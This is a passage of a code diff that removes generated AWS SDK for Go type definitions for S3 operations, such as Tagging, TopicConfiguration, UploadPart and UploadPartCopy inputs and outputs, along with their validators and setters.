*int64 `type:"long"` - - // The total number of object bytes scanned. - BytesScanned *int64 `type:"long"` -} - -// String returns the string representation -func (s Stats) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Stats) GoString() string { - return s.String() -} - -// SetBytesProcessed sets the BytesProcessed field's value. -func (s *Stats) SetBytesProcessed(v int64) *Stats { - s.BytesProcessed = &v - return s -} - -// SetBytesReturned sets the BytesReturned field's value. -func (s *Stats) SetBytesReturned(v int64) *Stats { - s.BytesReturned = &v - return s -} - -// SetBytesScanned sets the BytesScanned field's value. -func (s *Stats) SetBytesScanned(v int64) *Stats { - s.BytesScanned = &v - return s -} - -type StatsEvent struct { - _ struct{} `locationName:"StatsEvent" type:"structure" payload:"Details"` - - // The Stats event details. - Details *Stats `locationName:"Details" type:"structure"` -} - -// String returns the string representation -func (s StatsEvent) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s StatsEvent) GoString() string { - return s.String() -} - -// SetDetails sets the Details field's value. -func (s *StatsEvent) SetDetails(v *Stats) *StatsEvent { - s.Details = v - return s -} - -// The StatsEvent is and event in the SelectObjectContentEventStream group of events. -func (s *StatsEvent) eventSelectObjectContentEventStream() {} - -// UnmarshalEvent unmarshals the EventStream Message into the StatsEvent value. -// This method is only used internally within the SDK's EventStream handling. -func (s *StatsEvent) UnmarshalEvent( - payloadUnmarshaler protocol.PayloadUnmarshaler, - msg eventstream.Message, -) error { - if err := payloadUnmarshaler.UnmarshalPayload( - bytes.NewReader(msg.Payload), s, - ); err != nil { - return err - } - return nil -} - -type StorageClassAnalysis struct { - _ struct{} `type:"structure"` - - // A container used to describe how data related to the storage class analysis - // should be exported. - DataExport *StorageClassAnalysisDataExport `type:"structure"` -} - -// String returns the string representation -func (s StorageClassAnalysis) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s StorageClassAnalysis) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *StorageClassAnalysis) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "StorageClassAnalysis"} - if s.DataExport != nil { - if err := s.DataExport.Validate(); err != nil { - invalidParams.AddNested("DataExport", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDataExport sets the DataExport field's value. -func (s *StorageClassAnalysis) SetDataExport(v *StorageClassAnalysisDataExport) *StorageClassAnalysis { - s.DataExport = v - return s -} - -type StorageClassAnalysisDataExport struct { - _ struct{} `type:"structure"` - - // The place to store the data for an analysis. - // - // Destination is a required field - Destination *AnalyticsExportDestination `type:"structure" required:"true"` - - // The version of the output schema to use when exporting data. Must be V_1. - // - // OutputSchemaVersion is a required field - OutputSchemaVersion *string `type:"string" required:"true" enum:"StorageClassAnalysisSchemaVersion"` -} - -// String returns the string representation -func (s StorageClassAnalysisDataExport) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s StorageClassAnalysisDataExport) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *StorageClassAnalysisDataExport) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "StorageClassAnalysisDataExport"} - if s.Destination == nil { - invalidParams.Add(request.NewErrParamRequired("Destination")) - } - if s.OutputSchemaVersion == nil { - invalidParams.Add(request.NewErrParamRequired("OutputSchemaVersion")) - } - if s.Destination != nil { - if err := s.Destination.Validate(); err != nil { - invalidParams.AddNested("Destination", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDestination sets the Destination field's value. -func (s *StorageClassAnalysisDataExport) SetDestination(v *AnalyticsExportDestination) *StorageClassAnalysisDataExport { - s.Destination = v - return s -} - -// SetOutputSchemaVersion sets the OutputSchemaVersion field's value. -func (s *StorageClassAnalysisDataExport) SetOutputSchemaVersion(v string) *StorageClassAnalysisDataExport { - s.OutputSchemaVersion = &v - return s -} - -type Tag struct { - _ struct{} `type:"structure"` - - // Name of the tag. - // - // Key is a required field - Key *string `min:"1" type:"string" required:"true"` - - // Value of the tag. - // - // Value is a required field - Value *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s Tag) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Tag) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Tag) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Tag"} - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.Value == nil { - invalidParams.Add(request.NewErrParamRequired("Value")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetKey sets the Key field's value. -func (s *Tag) SetKey(v string) *Tag { - s.Key = &v - return s -} - -// SetValue sets the Value field's value. -func (s *Tag) SetValue(v string) *Tag { - s.Value = &v - return s -} - -type Tagging struct { - _ struct{} `type:"structure"` - - // TagSet is a required field - TagSet []*Tag `locationNameList:"Tag" type:"list" required:"true"` -} - -// String returns the string representation -func (s Tagging) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Tagging) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Tagging) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Tagging"} - if s.TagSet == nil { - invalidParams.Add(request.NewErrParamRequired("TagSet")) - } - if s.TagSet != nil { - for i, v := range s.TagSet { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "TagSet", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetTagSet sets the TagSet field's value. -func (s *Tagging) SetTagSet(v []*Tag) *Tagging { - s.TagSet = v - return s -} - -type TargetGrant struct { - _ struct{} `type:"structure"` - - Grantee *Grantee `type:"structure" xmlPrefix:"xsi" xmlURI:"http://www.w3.org/2001/XMLSchema-instance"` - - // Logging permissions assigned to the Grantee for the bucket. - Permission *string `type:"string" enum:"BucketLogsPermission"` -} - -// String returns the string representation -func (s TargetGrant) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s TargetGrant) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *TargetGrant) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "TargetGrant"} - if s.Grantee != nil { - if err := s.Grantee.Validate(); err != nil { - invalidParams.AddNested("Grantee", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetGrantee sets the Grantee field's value. -func (s *TargetGrant) SetGrantee(v *Grantee) *TargetGrant { - s.Grantee = v - return s -} - -// SetPermission sets the Permission field's value. -func (s *TargetGrant) SetPermission(v string) *TargetGrant { - s.Permission = &v - return s -} - -// A container for specifying the configuration for publication of messages -// to an Amazon Simple Notification Service (Amazon SNS) topic.when Amazon S3 -// detects specified events. -type TopicConfiguration struct { - _ struct{} `type:"structure"` - - // Events is a required field - Events []*string `locationName:"Event" type:"list" flattened:"true" required:"true"` - - // A container for object key name filtering rules. For information about key - // name filtering, see Configuring Event Notifications (https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html) - // in the Amazon Simple Storage Service Developer Guide. - Filter *NotificationConfigurationFilter `type:"structure"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - // The Amazon Resource Name (ARN) of the Amazon SNS topic to which Amazon S3 - // will publish a message when it detects events of the specified type. - // - // TopicArn is a required field - TopicArn *string `locationName:"Topic" type:"string" required:"true"` -} - -// String returns the string representation -func (s TopicConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s TopicConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *TopicConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "TopicConfiguration"} - if s.Events == nil { - invalidParams.Add(request.NewErrParamRequired("Events")) - } - if s.TopicArn == nil { - invalidParams.Add(request.NewErrParamRequired("TopicArn")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetEvents sets the Events field's value. -func (s *TopicConfiguration) SetEvents(v []*string) *TopicConfiguration { - s.Events = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *TopicConfiguration) SetFilter(v *NotificationConfigurationFilter) *TopicConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *TopicConfiguration) SetId(v string) *TopicConfiguration { - s.Id = &v - return s -} - -// SetTopicArn sets the TopicArn field's value. -func (s *TopicConfiguration) SetTopicArn(v string) *TopicConfiguration { - s.TopicArn = &v - return s -} - -type TopicConfigurationDeprecated struct { - _ struct{} `type:"structure"` - - // Bucket event for which to send notifications. - // - // Deprecated: Event has been deprecated - Event *string `deprecated:"true" type:"string" enum:"Event"` - - Events []*string `locationName:"Event" type:"list" flattened:"true"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - // Amazon SNS topic to which Amazon S3 will publish a message to report the - // specified events for the bucket. - Topic *string `type:"string"` -} - -// String returns the string representation -func (s TopicConfigurationDeprecated) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s TopicConfigurationDeprecated) GoString() string { - return s.String() -} - -// SetEvent sets the Event field's value. -func (s *TopicConfigurationDeprecated) SetEvent(v string) *TopicConfigurationDeprecated { - s.Event = &v - return s -} - -// SetEvents sets the Events field's value. -func (s *TopicConfigurationDeprecated) SetEvents(v []*string) *TopicConfigurationDeprecated { - s.Events = v - return s -} - -// SetId sets the Id field's value. -func (s *TopicConfigurationDeprecated) SetId(v string) *TopicConfigurationDeprecated { - s.Id = &v - return s -} - -// SetTopic sets the Topic field's value. -func (s *TopicConfigurationDeprecated) SetTopic(v string) *TopicConfigurationDeprecated { - s.Topic = &v - return s -} - -type Transition struct { - _ struct{} `type:"structure"` - - // Indicates at what date the object is to be moved or deleted. Should be in - // GMT ISO 8601 Format. - Date *time.Time `type:"timestamp" timestampFormat:"iso8601"` - - // Indicates the lifetime, in days, of the objects that are subject to the rule. - // The value must be a non-zero positive integer. - Days *int64 `type:"integer"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"TransitionStorageClass"` -} - -// String returns the string representation -func (s Transition) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Transition) GoString() string { - return s.String() -} - -// SetDate sets the Date field's value. -func (s *Transition) SetDate(v time.Time) *Transition { - s.Date = &v - return s -} - -// SetDays sets the Days field's value. -func (s *Transition) SetDays(v int64) *Transition { - s.Days = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *Transition) SetStorageClass(v string) *Transition { - s.StorageClass = &v - return s -} - -type UploadPartCopyInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The name of the source bucket and key name of the source object, separated - // by a slash (/). Must be URL-encoded. - // - // CopySource is a required field - CopySource *string `location:"header" locationName:"x-amz-copy-source" type:"string" required:"true"` - - // Copies the object if its entity tag (ETag) matches the specified tag. - CopySourceIfMatch *string `location:"header" locationName:"x-amz-copy-source-if-match" type:"string"` - - // Copies the object if it has been modified since the specified time. - CopySourceIfModifiedSince *time.Time `location:"header" locationName:"x-amz-copy-source-if-modified-since" type:"timestamp"` - - // Copies the object if its entity tag (ETag) is different than the specified - // ETag. - CopySourceIfNoneMatch *string `location:"header" locationName:"x-amz-copy-source-if-none-match" type:"string"` - - // Copies the object if it hasn't been modified since the specified time. - CopySourceIfUnmodifiedSince *time.Time `location:"header" locationName:"x-amz-copy-source-if-unmodified-since" type:"timestamp"` - - // The range of bytes to copy from the source object. The range value must use - // the form bytes=first-last, where the first and last are the zero-based byte - // offsets to copy. For example, bytes=0-9 indicates that you want to copy the - // first ten bytes of the source. You can copy a range only if the source object - // is greater than 5 MB. - CopySourceRange *string `location:"header" locationName:"x-amz-copy-source-range" type:"string"` - - // Specifies the algorithm to use when decrypting the source object (e.g., AES256). - CopySourceSSECustomerAlgorithm *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use to decrypt - // the source object. The encryption key provided in this header must be one - // that was used when the source object was created. - CopySourceSSECustomerKey *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - CopySourceSSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-key-MD5" type:"string"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Part number of part being copied. This is a positive integer between 1 and - // 10,000. - // - // PartNumber is a required field - PartNumber *int64 `location:"querystring" locationName:"partNumber" type:"integer" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. This must be the same encryption key specified in the initiate multipart - // upload request. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // Upload ID identifying the multipart upload whose part is being copied. - // - // UploadId is a required field - UploadId *string `location:"querystring" locationName:"uploadId" type:"string" required:"true"` -} - -// String returns the string representation -func (s UploadPartCopyInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s UploadPartCopyInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *UploadPartCopyInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "UploadPartCopyInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.CopySource == nil { - invalidParams.Add(request.NewErrParamRequired("CopySource")) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.PartNumber == nil { - invalidParams.Add(request.NewErrParamRequired("PartNumber")) - } - if s.UploadId == nil { - invalidParams.Add(request.NewErrParamRequired("UploadId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *UploadPartCopyInput) SetBucket(v string) *UploadPartCopyInput { - s.Bucket = &v - return s -} - -func (s *UploadPartCopyInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCopySource sets the CopySource field's value. -func (s *UploadPartCopyInput) SetCopySource(v string) *UploadPartCopyInput { - s.CopySource = &v - return s -} - -// SetCopySourceIfMatch sets the CopySourceIfMatch field's value. -func (s *UploadPartCopyInput) SetCopySourceIfMatch(v string) *UploadPartCopyInput { - s.CopySourceIfMatch = &v - return s -} - -// SetCopySourceIfModifiedSince sets the CopySourceIfModifiedSince field's value. -func (s *UploadPartCopyInput) SetCopySourceIfModifiedSince(v time.Time) *UploadPartCopyInput { - s.CopySourceIfModifiedSince = &v - return s -} - -// SetCopySourceIfNoneMatch sets the CopySourceIfNoneMatch field's value. -func (s *UploadPartCopyInput) SetCopySourceIfNoneMatch(v string) *UploadPartCopyInput { - s.CopySourceIfNoneMatch = &v - return s -} - -// SetCopySourceIfUnmodifiedSince sets the CopySourceIfUnmodifiedSince field's value. -func (s *UploadPartCopyInput) SetCopySourceIfUnmodifiedSince(v time.Time) *UploadPartCopyInput { - s.CopySourceIfUnmodifiedSince = &v - return s -} - -// SetCopySourceRange sets the CopySourceRange field's value. -func (s *UploadPartCopyInput) SetCopySourceRange(v string) *UploadPartCopyInput { - s.CopySourceRange = &v - return s -} - -// SetCopySourceSSECustomerAlgorithm sets the CopySourceSSECustomerAlgorithm field's value. -func (s *UploadPartCopyInput) SetCopySourceSSECustomerAlgorithm(v string) *UploadPartCopyInput { - s.CopySourceSSECustomerAlgorithm = &v - return s -} - -// SetCopySourceSSECustomerKey sets the CopySourceSSECustomerKey field's value. -func (s *UploadPartCopyInput) SetCopySourceSSECustomerKey(v string) *UploadPartCopyInput { - s.CopySourceSSECustomerKey = &v - return s -} - -func (s *UploadPartCopyInput) getCopySourceSSECustomerKey() (v string) { - if s.CopySourceSSECustomerKey == nil { - return v - } - return *s.CopySourceSSECustomerKey -} - -// SetCopySourceSSECustomerKeyMD5 sets the CopySourceSSECustomerKeyMD5 field's value. -func (s *UploadPartCopyInput) SetCopySourceSSECustomerKeyMD5(v string) *UploadPartCopyInput { - s.CopySourceSSECustomerKeyMD5 = &v - return s -} - -// SetKey sets the Key field's value. -func (s *UploadPartCopyInput) SetKey(v string) *UploadPartCopyInput { - s.Key = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *UploadPartCopyInput) SetPartNumber(v int64) *UploadPartCopyInput { - s.PartNumber = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *UploadPartCopyInput) SetRequestPayer(v string) *UploadPartCopyInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *UploadPartCopyInput) SetSSECustomerAlgorithm(v string) *UploadPartCopyInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *UploadPartCopyInput) SetSSECustomerKey(v string) *UploadPartCopyInput { - s.SSECustomerKey = &v - return s -} - -func (s *UploadPartCopyInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *UploadPartCopyInput) SetSSECustomerKeyMD5(v string) *UploadPartCopyInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *UploadPartCopyInput) SetUploadId(v string) *UploadPartCopyInput { - s.UploadId = &v - return s -} - -type UploadPartCopyOutput struct { - _ struct{} `type:"structure" payload:"CopyPartResult"` - - CopyPartResult *CopyPartResult `type:"structure"` - - // The version of the source object that was copied, if you have enabled versioning - // on the source bucket. - CopySourceVersionId *string `location:"header" locationName:"x-amz-copy-source-version-id" type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` -} - -// String returns the string representation -func (s UploadPartCopyOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s UploadPartCopyOutput) GoString() string { - return s.String() -} - -// SetCopyPartResult sets the CopyPartResult field's value. -func (s *UploadPartCopyOutput) SetCopyPartResult(v *CopyPartResult) *UploadPartCopyOutput { - s.CopyPartResult = v - return s -} - -// SetCopySourceVersionId sets the CopySourceVersionId field's value. -func (s *UploadPartCopyOutput) SetCopySourceVersionId(v string) *UploadPartCopyOutput { - s.CopySourceVersionId = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *UploadPartCopyOutput) SetRequestCharged(v string) *UploadPartCopyOutput { - s.RequestCharged = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *UploadPartCopyOutput) SetSSECustomerAlgorithm(v string) *UploadPartCopyOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *UploadPartCopyOutput) SetSSECustomerKeyMD5(v string) *UploadPartCopyOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *UploadPartCopyOutput) SetSSEKMSKeyId(v string) *UploadPartCopyOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *UploadPartCopyOutput) SetServerSideEncryption(v string) *UploadPartCopyOutput { - s.ServerSideEncryption = &v - return s -} - -type UploadPartInput struct { - _ struct{} `type:"structure" payload:"Body"` - - // Object data. - Body io.ReadSeeker `type:"blob"` - - // Name of the bucket to which the multipart upload was initiated. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Size of the body in bytes. This parameter is useful when the size of the - // body cannot be determined automatically. - ContentLength *int64 `location:"header" locationName:"Content-Length" type:"long"` - - // The base64-encoded 128-bit MD5 digest of the part data. - ContentMD5 *string `location:"header" locationName:"Content-MD5" type:"string"` - - // Object key for which the multipart upload was initiated. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Part number of part being uploaded. This is a positive integer between 1 - // and 10,000. - // - // PartNumber is a required field - PartNumber *int64 `location:"querystring" locationName:"partNumber" type:"integer" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. This must be the same encryption key specified in the initiate multipart - // upload request. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // Upload ID identifying the multipart upload whose part is being uploaded. - // - // UploadId is a required field - UploadId *string `location:"querystring" locationName:"uploadId" type:"string" required:"true"` -} - -// String returns the string representation -func (s UploadPartInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s UploadPartInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *UploadPartInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "UploadPartInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.PartNumber == nil { - invalidParams.Add(request.NewErrParamRequired("PartNumber")) - } - if s.UploadId == nil { - invalidParams.Add(request.NewErrParamRequired("UploadId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBody sets the Body field's value. -func (s *UploadPartInput) SetBody(v io.ReadSeeker) *UploadPartInput { - s.Body = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *UploadPartInput) SetBucket(v string) *UploadPartInput { - s.Bucket = &v - return s -} - -func (s *UploadPartInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetContentLength sets the ContentLength field's value. -func (s *UploadPartInput) SetContentLength(v int64) *UploadPartInput { - s.ContentLength = &v - return s -} - -// SetContentMD5 sets the ContentMD5 field's value. -func (s *UploadPartInput) SetContentMD5(v string) *UploadPartInput { - s.ContentMD5 = &v - return s -} - -// SetKey sets the Key field's value. -func (s *UploadPartInput) SetKey(v string) *UploadPartInput { - s.Key = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *UploadPartInput) SetPartNumber(v int64) *UploadPartInput { - s.PartNumber = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *UploadPartInput) SetRequestPayer(v string) *UploadPartInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *UploadPartInput) SetSSECustomerAlgorithm(v string) *UploadPartInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *UploadPartInput) SetSSECustomerKey(v string) *UploadPartInput { - s.SSECustomerKey = &v - return s -} - -func (s *UploadPartInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *UploadPartInput) SetSSECustomerKeyMD5(v string) *UploadPartInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *UploadPartInput) SetUploadId(v string) *UploadPartInput { - s.UploadId = &v - return s -} - -type UploadPartOutput struct { - _ struct{} `type:"structure"` - - // Entity tag for the uploaded object. - ETag *string `location:"header" locationName:"ETag" type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` -} - -// String returns the string representation -func (s UploadPartOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s UploadPartOutput) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *UploadPartOutput) SetETag(v string) *UploadPartOutput { - s.ETag = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *UploadPartOutput) SetRequestCharged(v string) *UploadPartOutput { - s.RequestCharged = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *UploadPartOutput) SetSSECustomerAlgorithm(v string) *UploadPartOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *UploadPartOutput) SetSSECustomerKeyMD5(v string) *UploadPartOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *UploadPartOutput) SetSSEKMSKeyId(v string) *UploadPartOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *UploadPartOutput) SetServerSideEncryption(v string) *UploadPartOutput { - s.ServerSideEncryption = &v - return s -} - -type VersioningConfiguration struct { - _ struct{} `type:"structure"` - - // Specifies whether MFA delete is enabled in the bucket versioning configuration. - // This element is only returned if the bucket has been configured with MFA - // delete. If the bucket has never been so configured, this element is not returned. - MFADelete *string `locationName:"MfaDelete" type:"string" enum:"MFADelete"` - - // The versioning state of the bucket. - Status *string `type:"string" enum:"BucketVersioningStatus"` -} - -// String returns the string representation -func (s VersioningConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s VersioningConfiguration) GoString() string { - return s.String() -} - -// SetMFADelete sets the MFADelete field's value. -func (s *VersioningConfiguration) SetMFADelete(v string) 